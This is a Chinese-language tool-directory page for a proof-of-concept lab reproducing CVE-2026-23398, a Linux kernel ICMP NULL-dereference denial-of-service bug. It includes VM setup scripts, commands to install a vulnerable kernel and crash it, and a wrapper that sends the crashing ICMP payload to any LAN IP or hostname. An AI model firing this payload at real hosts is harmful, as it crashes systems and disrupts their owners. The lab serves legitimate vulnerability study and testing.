Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-23398-poc — CVE-2026-23398 的可复现实验室,这是 Linux 内核中 icmp_tag_validation() 的一个空指针解引用漏洞,由 ICMP 分片需要(Fragmentation Needed)数据包触发,可导致拒绝服务。包含 QEMU 虚拟机搭建、Scapy PoC,以及用于测试已修补和易受攻击内核的脚本。 | Kitploit
工具/GitHubGitHub/zpol/cve-2026-23398-poc
漏洞分析漏洞利用模糊测试渗透测试学习与教育实验室与实践
GitHubzpol/cve-2026-23398-poc

cve-2026-23398-poc

CVE-2026-23398 的可复现实验室,这是 Linux 内核中 icmp_tag_validation() 的一个空指针解引用漏洞,由 ICMP 分片需要(Fragmentation Needed)数据包触发,可导致拒绝服务。包含 QEMU 虚拟机搭建、Scapy PoC,以及用于测试已修补和易受攻击内核的脚本。

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

实验:CVE-2026-23398(ICMP / ip_no_pmtu_disc=3)

针对 Linux 内核 icmp_tag_validation() 中漏洞的可复现实验(当 net.ipv4.ip_no_pmtu_disc = 3 且收到一条 Fragmentation Needed ICMP 报文,其引用的内部 IPv4 头使用在 inet_protos[] 中无处理程序的协议号时,会发生 NULL 指针解引用)。

仅限授权使用: 仅限您拥有或已获得明确书面许可进行测试的系统。影响为拒绝服务(内核崩溃)。


主机要求

组件用途
QEMU(qemu-system-x86_64、qemu-img)受害虚拟机
cloud-image-utils(cloud-localds)、wget、genisoimageCloud-init 和镜像下载
Docker + Docker Compose从主机发送 ICMP(host 网络模式)
OpenSSH 客户端SSH 自动化
~/.ssh/id_ed25519.pub 或 id_rsa.pub 中的 SSH 密钥,或 sshpass免密码登录客户机(推荐使用密钥)
sudo仅 TAP 模式(从主机向虚拟机的固定 IP 发送 ICMP)

仅当您不使用 Docker 发送远程载荷时,才需要在主机上安装 Python 3 和 Scapy。


仓库结构

root@kitploit:~
├── send_frag_needed.py          # Scapy PoC(ICMP 3,4 + 使用不常见协议号的内部 IP)
├── send-payload-to-host.sh      # 向您网络上的 IP/主机名发送载荷
├── docker-compose.yml           # “sender”服务(host 网络 + CAP_NET_RAW)
├── Dockerfile
├── vm/                          # 磁盘、cloud-init 种子、QEMU 串口日志
└── scripts/
    ├── fetch-image.sh
    ├── prepare-disk.sh
    ├── build-seed-dhcp.sh       # DHCP 种子(usernet 模式)
    ├── build-seed.sh            # 静态 192.168.76.2 种子(TAP 模式)
    ├── vm-start-usernet.sh      # QEMU + 用户网络(SSH 端口 2222)
    ├── vm-stop-usernet.sh
    ├── vm-start.sh / vm-stop.sh # QEMU + TAP(在 tap-up.sh 之后)
    ├── tap-up.sh / tap-down.sh  # 主机上的 TAP 接口(sudo)
    ├── run-lab-usernet.sh       # 完整流程:镜像 + 虚拟机 + 客户机上的 Scapy(较新内核)
    ├── run-lab.sh               # TAP 流程 + docker sender → 192.168.76.2
    ├── install-vulnerable-mainline.sh  # 未打补丁的 mainline 6.12 + veth PoC(崩溃)
    └── poc-veth-netns.sh        # 在*客户机*内运行(veth + netns)

模式 A — 完整 QEMU 实验(用户网络,无 TAP)

QEMU 用户网络无法可靠地将主机发起的 ICMP 传递给客户机。自动化流程会在虚拟机上安装 Scapy 并在其中运行脚本。当前的 Ubuntu 内核通常已打补丁:您会看到“Sent 1 packets”,但不会崩溃。

root@kitploit:~
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh

# 首次运行:下载 Ubuntu Noble 云镜像、叠加层、种子、启动 QEMU、SSH :2222、apt、PoC
./scripts/run-lab-usernet.sh
  • SSH: ssh -p 2222 [email protected](如果您依赖密码认证,密码为 lablab)。
  • 停止虚拟机: ./scripts/vm-stop-usernet.sh
  • 串口控制台(崩溃、oops): vm/serial-usernet.log

模式 B — 存在漏洞的内核 + 可复现崩溃

CVE 修复于 2026 年 3 月落地。较旧的 mainline 构建(例如 2024-11 的 6.12.0)不包含该修复。该脚本会在虚拟机中安装这些 .deb 包,重启,然后使用 veth + 网络命名空间运行 PoC,使 ICMP 走真实的 ingress 路径(仅发送到客户机自身的回环/接口 IP 是不够的)。

警告: 这通常会导致内核崩溃;SSH 将停止响应。

root@kitploit:~
# usernet 虚拟机正在运行(或 run-lab-usernet.sh 已创建过一次)
./scripts/vm-start-usernet.sh   # 如果尚未运行

./scripts/install-vulnerable-mainline.sh

如何判断是否成功

信号崩溃确实发生(在存在漏洞的 6.12 上预期)崩溃未发生
“Running PoC …”之后的 SSH挂起或 Connection timed out / Connection reset会话仍然正常;您能获得 shell
send_frag_needed.py 输出在 SSH 断开前您应看到 . Sent 1 packets.(如果链路立即断开,通常会被截断)Install Scapy: pip install scapy → 客户机上缺少 Scapy;ICMP 从未发送。重新运行 install-vulnerable-mainline.sh(它会安装 python3-scapy)或在虚拟机上运行 sudo apt install -y python3-scapy 并重新运行 PoC
串口日志tail -f vm/serial-usernet.log 显示 Kernel panic、icmp_unreach、CR2: 0000000000000010 等无崩溃行;客户机持续运行
QEMU 进程仍在运行,但客户机操作系统已死,直到重启客户机仍在端口 2222 上响应

全新磁盘说明: 如果您只运行 prepare-disk.sh + vm-start-usernet.sh(而非 run-lab-usernet.sh),客户机可能没有 python3-scapy,直到 install-vulnerable-mainline.sh 安装它(或您手动安装)。

崩溃后 — 干净重置:

root@kitploit:~
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# 可选:重新安装软件包 / 重新运行 install-vulnerable-mainline.sh

模式 C — 主机 → 虚拟机 ICMP(TAP)

客户机使用 192.168.76.2,主机在 TAP 上使用 192.168.76.1。ICMP 的行为与真实局域网相同。

root@kitploit:~
./scripts/tap-up.sh              # sudo:创建 icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh          # cloud-init 中的静态寻址
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2

# 在虚拟机上:sysctl -w net.ipv4.ip_no_pmtu_disc=3,如果您想要崩溃,还需要存在漏洞的内核

docker compose build
docker compose run --rm sender 192.168.76.2

./scripts/run-lab.sh 会串联其中部分步骤(需要 TAP + Docker)。


向您网络上的机器发送载荷

便捷包装脚本(将 主机名解析为 IPv4,优先使用 Docker,否则使用 sudo + Python):

root@kitploit:~
chmod +x send-payload-to-host.sh
docker compose build    # 仅一次

./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200

不使用 Docker:

root@kitploit:~
sudo pip install scapy   # 如果需要
sudo ./send-payload-to-host.sh 192.168.1.50

与此 CVE 相关的目标条件:

  1. Linux 内核未包含修复(或发行版等效补丁尚未应用)。
  2. net.ipv4.ip_no_pmtu_disc = 3(强化 PMTU 模式)。
  3. 数据包必须通过正常的 IPv4 输入路径接收(流量到达某个接口)。

如果内核已打补丁或 sysctl 不是 3,您不会看到崩溃;数据包仍可能在网络上传输。


环境变量

变量描述
ICMP_LAB_TAPTAP 设备名称(默认 icmp-lab-tap0)
ICMP_LAB_HOST_IPTAP 上的主机地址(默认 192.168.76.1/24)
ICMP_LAB_SSH_PORTusernet SSH 端口(默认 2222)
ICMP_LAB_SSH_HOSTSSH 主机(默认 127.0.0.1)

参考

  • CVE-2026-23398(NVD)
  • 修复:icmp: fix NULL pointer dereference in icmp_tag_validation()(mainline 上的提交 614aefe56af8e)
  • 模式 3 的引入:提交 8ed1dc44d3e9(hardened ip_no_pmtu_disc)

快速命令参考

目标命令
首次 usernet 实验./scripts/run-lab-usernet.sh
启动 / 停止 usernet 虚拟机./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh
存在漏洞的内核 + PoC(崩溃)./scripts/install-vulnerable-mainline.sh
崩溃后重置磁盘rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh
向局域网 IP/主机发送载荷./send-payload-to-host.sh <IP|hostname>
构建 Docker sender 镜像docker compose build
下载工具